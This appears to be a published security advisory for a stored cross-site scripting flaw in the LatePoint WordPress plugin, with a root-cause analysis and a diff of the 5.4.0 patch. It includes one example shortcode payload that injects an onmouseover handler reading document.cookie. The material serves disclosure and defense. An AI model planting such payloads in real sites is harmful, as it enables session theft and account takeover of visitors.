Published : August 5, 2026

CVE-2026-5391: LatePoint <= 5.3.2 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

CVE ID CVE-2026-5391
Plugin latepoint
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.3.2
Patched Version 5.4.0
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5391: This vulnerability is a Stored Cross-Site Scripting (XSS) flaw found in the LatePoint plugin for WordPress, affecting versions up to and including 5.3.2. The issue is in the ‘latepoint_resources’ shortcode’s handling of the ‘btn_wrapper_classes’ attribute, which is rendered in the ‘locations’ branch of the code. An attacker with contributor-level access or higher can exploit this to execute arbitrary JavaScript in the context of any user who views a page containing the infected shortcode.

The root cause is insufficient input sanitization and output escaping. The ‘shortcode_latepoint_resources’ function, defined in ‘lib/helpers/shortcodes_helper.php’, directly outputs the ‘btn_wrapper_classes’ variable within an HTML class attribute on line 240 (of the vulnerable version). The variable is taken from user-supplied shortcode attributes without proper sanitization or escaping. This allows an attacker to break out of the class attribute by injecting a single quote (‘) and adding event handler attributes like ‘onmouseover’, which execute when a user interacts with the element. The patch, included in version 5.4.0, adds an ‘esc_attr()’ function around the variable, which encodes special characters, rendering the injection attempt inert.

To exploit this, an attacker must have contributor-level access or higher in WordPress, allowing them to create or edit posts and pages through the block editor or classic editor. The attacker would insert a shortcode with a crafted ‘btn_wrapper_classes’ attribute, such as: [latepoint_resources btn_wrapper_classes=’a’ onmouseover=’alert(document.cookie)’]. When a site visitor views this page, the shortcode renders the location listing, and the malicious attribute is output unescaped. The browser interprets the injected ‘onmouseover’ handler, which executes when the visitor hovers over the location’s booking button. This attack is considered stored because the malicious script is persisted in the page content.

The patch is a single-line change in the ‘shortcodes_helper.php’ file. The vulnerable line, ‘$output .= ‘

‘, is modified to wrap the ‘btn_wrapper_classes’ variable in ‘esc_attr(): $output .= ‘

‘. The ‘esc_attr()’ function is a WordPress core function that escapes the output for safe use within an HTML attribute, converting characters like single quotes, double quotes, and ampersands into HTML entities. This prevents the attacker from breaking out of the pre-defined class attribute and injecting new attributes or HTML. The fix is consistent with WordPress best practices for output escaping, directly addressing the vulnerability and neutralizing the attack vector.

The impact of this vulnerability is high for affected sites. A successful attack allows the threat actor to execute arbitrary JavaScript in the browsers of users visiting the compromised page. This script can capture and exfiltrate sensitive session cookies, allowing account takeover of administrators and other users. An attacker can also potentially perform malicious actions on behalf of the victim, such as modifying site content, creating new administrative users, or injecting malware. The severity is amplified because the attack vector is a standard user role (contributor) and the script persists in the page, meaning every visit by a legitimate user triggers the malicious code.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.3.2
+ * Version: 5.4.0
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.3.2';
+		public $version    = '5.4.0';
 		public $db_version = '2.3.0';


@@ -829,6 +829,7 @@
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/events_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/icalendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/version_specific_updates_helper.php';
+			include_once LATEPOINT_ABSPATH . 'lib/helpers/update_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/calendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/meeting_systems_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/marketing_systems_helper.php';
@@ -1056,6 +1057,9 @@

 		function plugins_loaded_hook() {
 			OsAnalyticsHelper::init();
+
+			// Should be trigger after all plugins are loaded.
+			OsUpdateHelper::init();
 		}

 		function check_addon_versions() {
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -277,7 +277,8 @@
 			}

 			$booking_id = $this->params['id'];
-			$booking    = new OsBookingModel( $booking_id );
+			$this->check_nonce( 'cancel_booking_' . $booking_id );
+			$booking = new OsBookingModel( $booking_id );
 			if ( ! empty( $booking->id ) && ( OsAuthHelper::get_logged_in_customer_id() == $booking->customer_id ) && OsCustomerHelper::can_cancel_booking( $booking ) ) {
 				if ( $booking->update_status( LATEPOINT_BOOKING_STATUS_CANCELLED ) ) {
 					$status        = LATEPOINT_STATUS_SUCCESS;
--- a/latepoint/lib/controllers/pro_controller.php
+++ b/latepoint/lib/controllers/pro_controller.php
@@ -63,6 +63,11 @@
 			$this->vars['page_header'] = OsMenuHelper::get_menu_items_by_id( 'locations' );
 			$this->format_render( 'pro_feature', [], [], true );
 		}
+
+		public function assets() {
+			$this->vars['page_header'] = __( 'Assets', 'latepoint' );
+			$this->format_render( 'pro_feature', [], [], true );
+		}
 	}

 endif;
--- a/latepoint/lib/controllers/stripe_connect_controller.php
+++ b/latepoint/lib/controllers/stripe_connect_controller.php
@@ -23,12 +23,16 @@
 		}

 		public function create_payment_intent_for_transaction() {
-			if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
-				exit();
-			}
 			try {
-
-				$invoice = new OsInvoiceModel( $this->params['invoice_id'] );
+				$invoice_access_key = sanitize_text_field( $this->params['key'] ?? '' );
+				if ( empty( $invoice_access_key ) ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}
+				$invoice = new OsInvoiceModel();
+				$invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
+				if ( ! ( $invoice instanceof OsInvoiceModel ) || $invoice->is_new_record() ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}

 				$transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );

@@ -54,7 +58,7 @@
 							'payment_intent_id'      => $payment_intent_id,
 							'payment_intent_secret'  => $payment_intent_client_secret,
 							'transaction_intent_key' => $transaction_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -63,7 +67,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
@@ -121,8 +125,8 @@
 					[
 						LATEPOINT_PAYMENTS_ENV_LIVE,
 						LATEPOINT_PAYMENTS_ENV_DEV,
-					]
-				)
+					]
+				)
 			) ) ? $this->params['env'] : OsSettingsHelper::get_payments_environment();
 		}

@@ -135,7 +139,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'url'     => $url,
 					'message' => __( 'Redirecting to Stripe', 'latepoint' ),
-				)
+				)
 			);
 		}

@@ -157,14 +161,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -205,14 +209,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -227,7 +231,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Token is missing',
 					),
-					404
+					404
 				);
 			}
 			if ( $data['wp_latepoint_server_token'] != OsStripeConnectHelper::get_server_token() ) {
@@ -236,7 +240,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Invalid Token',
 					),
-					404
+					404
 				);
 			}

@@ -245,7 +249,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => 'Heartbeat detected',
 				),
-				200
+				200
 			);
 		}

@@ -281,7 +285,7 @@
 					[
 						'cart_items_data' => wp_json_encode( $cart_items_data ),
 						'payment_data'    => wp_json_encode( $payment_data ),
-					]
+					]
 				);
 				if ( $this->get_return_format() == 'json' ) {
 					$this->send_json(
@@ -291,7 +295,7 @@
 							'payment_intent_id'         => $payment_intent_id,
 							'payment_intent_secret'     => $payment_intent_client_secret,
 							'order_intent_key'          => $order_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -300,7 +304,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -83,7 +83,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => true,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -108,7 +108,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => $this->show_prev_btn,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -121,6 +121,8 @@

 			add_option( 'latepoint_wizard_visited', true );

+			do_action( 'latepoint_onboarding_started' );
+
 			$this->vars['current_step_code']    = $current_step_code;
 			$this->vars['current_step_number']  = array_search( $current_step_code, $this->steps_in_order );
 			$this->vars['step_file_to_include'] = 'steps/_' . $current_step_code . '.php';
@@ -145,6 +147,10 @@

 			$new_current_step_code = $this->steps_in_order[ array_search( $current_step_code, $this->steps_in_order ) + 1 ];

+			// Wizard step completed.
+			$this->on_step_completed( $current_step_code, $new_current_step_code );
+
+			// Wizard is complete.
 			if ( 'complete' === $new_current_step_code ) {
 				do_action( 'latepoint_onboarding_completed' );
 			}
@@ -311,10 +317,31 @@
 		}

 		function step_personal_info() {
-			$this->vars['wizard_first_name']  = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
-			$this->vars['wizard_last_name']   = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
-			$this->vars['wizard_email']       = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
-			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'off' );
+			$current_user = wp_get_current_user();
+
+			$wizard_first_name = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
+			$wizard_last_name  = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
+			$wizard_email      = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
+
+			if ( $current_user->exists() ) {
+				if ( empty( $wizard_first_name ) ) {
+					$wizard_first_name = $current_user->first_name;
+				}
+
+				if ( empty( $wizard_last_name ) ) {
+					$wizard_last_name = $current_user->last_name;
+				}
+
+				if ( empty( $wizard_email ) ) {
+					$wizard_email = $current_user->user_email;
+				}
+			}
+
+			$this->vars['wizard_first_name'] = $wizard_first_name;
+			$this->vars['wizard_last_name']  = $wizard_last_name;
+			$this->vars['wizard_email']      = $wizard_email;
+
+			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'on' );
 			$this->show_next_btn              = true;
 		}

@@ -363,9 +390,43 @@

 			if ( $email_optin === 'on' ) {
 				update_option( 'latepoint_usage_optin', 'yes' );
+
+				$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			}
+		}
+
+		function skip_setup() {
+			$current_step = isset( $this->params['current_step_code'] ) ? sanitize_text_field( $this->params['current_step_code'] ) : 'unknown';
+
+			$analytics                 = get_option( 'latepoint_onboarding_analytics', [] );
+			$analytics['exited_early'] = true;
+			$analytics['current_step'] = $current_step;
+			update_option( 'latepoint_onboarding_analytics', $analytics );
+
+			do_action( 'latepoint_onboarding_skipped', $current_step );
+
+			if ( $this->get_return_format() === 'json' ) {
+				$this->send_json(
+					[
+						'status'   => LATEPOINT_STATUS_SUCCESS,
+						'redirect' => OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'dashboard', 'index' ) ),
+					]
+				);
+			}
+		}
+
+		private function on_step_completed( $step_code, $new_current_step ) {
+			// Save step completion to structured option.
+			$analytics = get_option( 'latepoint_onboarding_analytics', [] );
+			if ( ! isset( $analytics['completed_steps'] ) || ! is_array( $analytics['completed_steps'] ) ) {
+				$analytics['completed_steps'] = [];
+			}
+			if ( ! in_array( $step_code, $analytics['completed_steps'], true ) ) {
+				$analytics['completed_steps'][] = $step_code;
 			}
+			$analytics['current_step'] = $new_current_step;

-			$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			update_option( 'latepoint_onboarding_analytics', $analytics );
 		}

 		private function send_registration_data( $first_name, $last_name, $email, $email_optin ) {
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -39,6 +39,7 @@
 					'path'                => LATEPOINT_ABSPATH . 'lib/kit/bsf-analytics',
 					'author'              => 'LatePoint',
 					'time_to_display'     => '+24 hours',
+					'hide_optin_checkbox' => true,
 					'deactivation_survey' => apply_filters(
 						'latepoint_deactivation_survey_data',
 						[
@@ -66,7 +67,13 @@
 		// Plugin activated (dedup ensures).
 		self::events()->track( 'plugin_activated', LATEPOINT_VERSION );

+		// Plugin updated. Fires once per version change via OsUpdateHelper.
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated' ] );
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated_payment_state' ] );
+
 		// Event hooks.
+		add_action( 'latepoint_onboarding_started', [ __CLASS__, 'on_onboarding_started' ] );
+		add_action( 'latepoint_onboarding_skipped', [ __CLASS__, 'on_onboarding_skipped' ] );
 		add_action( 'latepoint_onboarding_completed', [ __CLASS__, 'on_onboarding_completed' ] );
 		add_action( 'activated_plugin', [ __CLASS__, 'on_pro_addon_activated' ] );
 		add_action( 'latepoint_settings_updated', [ __CLASS__, 'on_payment_processors_connected' ] );
@@ -88,12 +95,47 @@
 	}

 	/**
+	 * Handle onboarding started event.
+	 *
+	 * @return void
+	 */
+	public static function on_onboarding_started() {
+		self::events()->track( 'onboarding_started', LATEPOINT_VERSION );
+	}
+
+	/**
+	 * Handle onboarding skipped event.
+	 *
+	 * @param string $current_step The step the user was on when they skipped.
+	 * @return void
+	 */
+	public static function on_onboarding_skipped( $current_step ) {
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'current_step'    => $current_step,
+			'completed_steps' => implode( ',', $completed_steps ),
+			'exited_early'    => 'yes',
+		];
+
+		self::events()->track( 'onboarding_skipped', LATEPOINT_VERSION, $props );
+	}
+
+	/**
 	 * Handle onboarding completion event.
 	 *
 	 * @return void
 	 */
 	public static function on_onboarding_completed() {
-		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION );
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'completed_steps' => implode( ',', $completed_steps ),
+		];
+
+		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION, $props );
 	}

 	/**
@@ -104,12 +146,55 @@
 	 */
 	public static function on_pro_addon_activated( $plugin ) {
 		if ( 'latepoint-pro-features/latepoint-pro-features.php' === $plugin ) {
-			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : '';
+			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : 'unknown';
 			self::events()->track( 'pro_addon_activated', $version );
 		}
 	}

 	/**
+	 * Track plugin_updated event. Called via latepoint_update_after hook.
+	 *
+	 * @param string $old_version The version before the update.
+	 * @return void
+	 */
+	public static function on_plugin_updated( $old_version ) {
+		self::events()->track(
+			'plugin_updated',
+			LATEPOINT_VERSION,
+			[
+				'from_version' => $old_version,
+			],
+			true
+		);
+	}
+
+	/**
+	 * Capture current payment processor state on plugin update.
+	 * Reads from DB settings, not from a form submission.
+	 *
+	 * @return void
+	 */
+	public static function on_plugin_updated_payment_state() {
+		if ( ! class_exists( 'OsPaymentsHelper' ) && ! class_exists( 'OsSettingsHelper' ) ) {
+			return;
+		}
+
+		$env = OsSettingsHelper::get_payments_environment();
+
+		$processors = OsPaymentsHelper::get_payment_processors();
+		foreach ( $processors as $processor ) {
+			$code = $processor['code'] ?? '';
+			if ( ! empty( $code ) && OsPaymentsHelper::is_payment_processor_enabled( $code ) ) {
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
+			}
+		}
+
+		if ( OsPaymentsHelper::is_local_payments_enabled() ) {
+			self::events()->track( 'local_payment_enabled', $env, [], true );
+		}
+	}
+
+	/**
 	 * Handle payment processors connected event.
 	 *
 	 * Records each enabled payment processor as a separate event — future-proof for new processors.
@@ -122,19 +207,19 @@
 			return;
 		}

-		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : '';
+		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : 'dev';

 		$processors = OsPaymentsHelper::get_payment_processors();
 		foreach ( $processors as $processor ) {
 			$code = $processor['code'] ?? '';
 			$key  = 'enable_payment_processor_' . $code;
 			if ( ! empty( $code ) && isset( $settings[ $key ] ) && 'on' === $settings[ $key ] ) {
-				self::events()->track( $code . '_payment_enabled', $env );
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
 			}
 		}

 		if ( isset( $settings['enable_payments_local'] ) && 'on' === $settings['enable_payments_local'] ) {
-			self::events()->track( 'local_payment_enabled', $env );
+			self::events()->track( 'local_payment_enabled', $env, [], true );
 		}
 	}

@@ -189,6 +274,7 @@
 		return $stats_data;
 	}

+
 	/**
 	 * Get KPI tracking data for the last 2 days (excluding today).
 	 *
--- a/latepoint/lib/helpers/menu_helper.php
+++ b/latepoint/lib/helpers/menu_helper.php
@@ -130,6 +130,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
@@ -334,6 +340,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
--- a/latepoint/lib/helpers/shortcodes_helper.php
+++ b/latepoint/lib/helpers/shortcodes_helper.php
@@ -237,7 +237,7 @@
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-map">' . $location->get_google_maps_iframe( 200 ) . '</div>' : '';
 					$output .= '<div class="ri-name"><h3>' . esc_html( $location->name ) . '</h3></div>';
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-description">' . $location->full_address . '<a href="' . $location->get_google_maps_link() . '" target="_blank" class="ri-external-link"><i class="latepoint-icon latepoint-icon-external-link"></i></a></div>' : '';
-					$output .= '<div class="ri-buttons ' . $btn_wrapper_classes . '">
+					$output .= '<div class="ri-buttons ' . esc_attr( $btn_wrapper_classes ) . '">
 						<a href="#" ' . $data_atts . ' class="latepoint-book-button os_trigger_booking ' . esc_attr( $btn_classes ) . '" data-selected-location="' . esc_attr( $location->id ) . '">' . wp_kses_post( $atts['button_caption'] ) . '</a>
 					</div>';
 					$output .= '</div>';
--- a/latepoint/lib/helpers/time_helper.php
+++ b/latepoint/lib/helpers/time_helper.php
@@ -79,7 +79,7 @@
 		$ago_class = empty( $ago ) ? '' : 'time-past';
 		if ( $event_datetime ) {
 			$diff = $now_datetime->diff( $event_datetime );
-			if ( $diff->d > 0 ) {
+			if ( $diff->d > 0 || $diff->m > 0 || $diff->y > 0 ) {
 				$left = $before . $diff->format( '%a ' . __( 'days', 'latepoint' ) ) . $ago;
 			} else {
 				if ( $diff->h > 0 ) {
--- a/latepoint/lib/helpers/update_helper.php
+++ b/latepoint/lib/helpers/update_helper.php
@@ -0,0 +1,26 @@
+<?php
+
+class OsUpdateHelper {
+
+	/**
+	 * Run version-specific updates when the plugin version changes.
+	 *
+	 * @return void
+	 */
+	public static function init() {
+
+		$saved_version = get_option( 'latepoint_plugin_version', '0' );
+
+		do_action( 'latepoint_update_init', $saved_version );
+
+		if ( version_compare( $saved_version, LATEPOINT_VERSION, '=' ) ) {
+			return;
+		}
+
+		do_action( 'latepoint_update_before', $saved_version );
+
+		update_option( 'latepoint_plugin_version', LATEPOINT_VERSION, false );
+
+		do_action( 'latepoint_update_after', $saved_version );
+	}
+}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
@@ -58,42 +58,79 @@
 		}

 		/**
-		 * Track a one-time event. Skips if already tracked or pending.
+		 * Track an event. By default, skips if already tracked or pending (one-time semantics).
+		 * When $force is true, the event is treated as retrackable — bypasses the post-send
+		 * dedup check and overwrites any pending entry with the same name. Useful for
+		 * recurring events like `plugin_updated` where the latest value should always win.
 		 * Only stores temporary data — cleaned up after analytics send.
 		 *
 		 * @param string               $event_name  Event identifier.
 		 * @param string               $event_value Primary value (version, form ID, mode, etc.).
-		 * @param array<string, mixed> $properties  Additional context as key-value pairs.
+		 * @param array<string, mixed> $properties  Additional context as key-value pairs. Values are stored as-is — sanitization is the caller's responsibility.
+		 * @param bool                 $force       When true, bypass pushed dedup and overwrite pending entry. Default false.
 		 * @since 1.1.21
+		 * @since 1.1.25 Added the $force parameter.
 		 * @return void
 		 */
-		public function track( $event_name, $event_value = '', $properties = array() ) {
+		public function track( $event_name, $event_value = '', $properties = array(), $force = false ) {
 			// Sanitize inputs once upfront — ensures dedup comparisons match stored values.
 			$event_name  = sanitize_text_field( $event_name );
 			$event_value = sanitize_text_field( (string) $event_value );
 			$properties  = is_array( $properties ) ? $properties : array();
+			$force       = (bool) $force;

 			// Check dedup flag — already sent in a previous cycle.
-			$pushed = $this->get_option( 'usage_events_pushed', array() );
-			$pushed = is_array( $pushed ) ? $pushed : array();
-			if ( in_array( $event_name, $pushed, true ) ) {
-				return;
+			// Force bypasses this check; pushed list will be refreshed on next flush_pending().
+			if ( ! $force ) {
+				$pushed = $this->get_option( 'usage_events_pushed', array() );
+				$pushed = is_array( $pushed ) ? $pushed : array();
+				if ( in_array( $event_name, $pushed, true ) ) {
+					return;
+				}
 			}

 			// Check if already queued in current cycle.
 			$pending = $this->get_option( 'usage_events_pending', array() );
 			$pending = is_array( $pending ) ? $pending : array();
-			if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
-				return;
-			}

-			// Add to pending queue.
-			$pending[] = array(
+			$new_event = array(
 				'event_name'  => $event_name,
 				'event_value' => $event_value,
 				'properties'  => $properties,
 				'date'        => current_time( 'mysql' ),
 			);
+
+			if ( ! $force ) {
+				// Default path: cheap membership check — no need to locate the key.
+				if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
+					return;
+				}
+				$pending[] = $new_event;
+			} else {
+				// Force path: locate any existing entry by actual key to overwrite safely.
+				$existing_key = null;
+				foreach ( $pending as $key => $entry ) {
+					if ( isset( $entry['event_name'] ) && $entry['event_name'] === $event_name ) {
+						$existing_key = $key;
+						break;
+					}
+				}
+
+				if ( null !== $existing_key ) {
+					// Skip the write when nothing material changed (only `date` would differ).
+					$existing = $pending[ $existing_key ];
+					if ( array_key_exists( 'event_value', $existing )
+						&& array_key_exists( 'properties', $existing )
+						&& $existing['event_value'] === $new_event['event_value']
+						&& $existing['properties'] === $new_event['properties'] ) {
+						return;
+					}
+					$pending[ $existing_key ] = $new_event;
+				} else {
+					$pending[] = $new_event;
+				}
+			}
+
 			$this->update_option( 'usage_events_pending', $pending );
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
@@ -101,6 +101,8 @@

 				'active_theme'           => get_template(),
 				'active_stylesheet'      => get_stylesheet(),
+
+				'admin_email'            => get_option( 'admin_email' ),
 			);
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
@@ -30,7 +30,7 @@
 		 *
 		 * @var string Usage tracking document URL
 		 */
-		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/?utm_source=wp_dashboard&utm_medium=general_settings&utm_campaign=usage_tracking';
+		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/';

 		/**
 		 * Setup actions, load files.
@@ -164,6 +164,12 @@
 		 */
 		public function is_tracking_enabled() {

+			// Global kill switch — allows hosting providers, compliance plugins,
+			// or agency developers to disable all BSF tracking with one filter.
+			if ( ! apply_filters( 'bsf_usage_tracking_enabled', true ) ) {
+				return false;
+			}
+
 			foreach ( $this->entities as $key => $data ) {

 				$is_enabled = get_site_option( $key . '_usage_optin', false ) === 'yes' ? true : false;
@@ -202,6 +208,28 @@
 		}

 		/**
+		 * Get usage doc link with UTM parameters.
+		 *
+		 * Appends product-specific UTM params to the default usage tracking URL
+		 * so we can attribute which plugin's link was clicked.
+		 *
+		 * @param string $product_key Product key (e.g., 'spectra', 'surerank').
+		 * @param string $context     Where the link appears ('notice' or 'settings').
+		 * @return string Full URL with UTM parameters.
+		 * @since 1.1.23
+		 */
+		public function get_usage_doc_link( $product_key, $context = 'notice' ) {
+			return add_query_arg(
+				array(
+					'utm_source'   => $product_key,
+					'utm_medium'   => $context,
+					'utm_campaign' => 'usage_tracking',
+				),
+				$this->usage_doc_link
+			);
+		}
+
+		/**
 		 * Display admin notice for usage tracking.
 		 *
 		 * @since 1.0.0
@@ -225,7 +253,7 @@
 			foreach ( $this->entities as $key => $data ) {

 				$time_to_display = isset( $data['time_to_display'] ) ? $data['time_to_display'] : '+24 hours';
-				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'notice' );

 				// Don't display the notice if tracking is disabled or White Label is enabled for any of our plugins.
 				if ( false !== get_site_option( $key . '_usage_optin', false ) || $this->is_white_label_enabled( $key ) ) {
@@ -240,9 +268,9 @@
 				/* translators: %s product name */
 				$notice_string = sprintf(
 					__(
-						'Help us improve %1$s and our other products!<br><br>With your permission, we'd like to collect <strong>non-sensitive information</strong> from your website — like your PHP version and which features you use — so we can fix bugs faster, make smarter decisions, and build features that actually matter to you. <em>No personal info. Ever.</em>'
+						'<strong>Help shape the future of %1$s.</strong><br><br>Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions.'
 					),
-					'<strong>' . esc_html( $data['product_name'] ) . '</strong>'
+					esc_html( $data['product_name'] )
 				);

 				if ( is_multisite() ) {
@@ -270,7 +298,7 @@
 									</div>
 								</div>',
 							/* translators: %s usage doc link */
-							sprintf( $notice_string . '<span dir="%1s"><a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( ' Know More.' ) ),
+							sprintf( $notice_string . '<span dir="%1s"> <a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( 'Learn more.' ) ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -280,7 +308,7 @@
 									)
 								)
 							),
-							__( 'Yes! Allow it' ),
+							__( 'Happy to help!' ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -291,7 +319,7 @@
 								)
 							),
 							MONTH_IN_SECONDS,
-							__( 'No Thanks' )
+							__( 'Skip' )
 						),
 						'show_if'                    => true,
 						'repeat-notice-after'        => false,
@@ -371,6 +399,9 @@
 		private function optout( $source ) {
 			update_site_option( $source . '_usage_optin', 'no' );
 			update_site_option( 'bsf_usage_last_displayed_time', time() );
+
+			// Clear tracking transient immediately so opt-out takes effect right away.
+			delete_site_transient( 'bsf_usage_track' );
 		}

 		/**
@@ -455,7 +486,7 @@
 					continue;
 				}

-				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'settings' );
 				$author         = isset( $data['author'] ) ? $data['author'] : 'Brainstorm Force';

 				register_setting(
@@ -511,7 +542,7 @@
 				<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( $is_checked ); ?>>
 				<?php
 				/* translators: %s Product title */
-				echo esc_html( sprintf( __( 'Allow %s products to track non-sensitive usage tracking data.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
+				echo esc_html( sprintf( __( 'Help improve %s by sharing non-sensitive usage data — like PHP version and features used.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText

 				if ( is_multisite() ) {
 					esc_html_e( ' This will be applicable for all sites from the network.' );
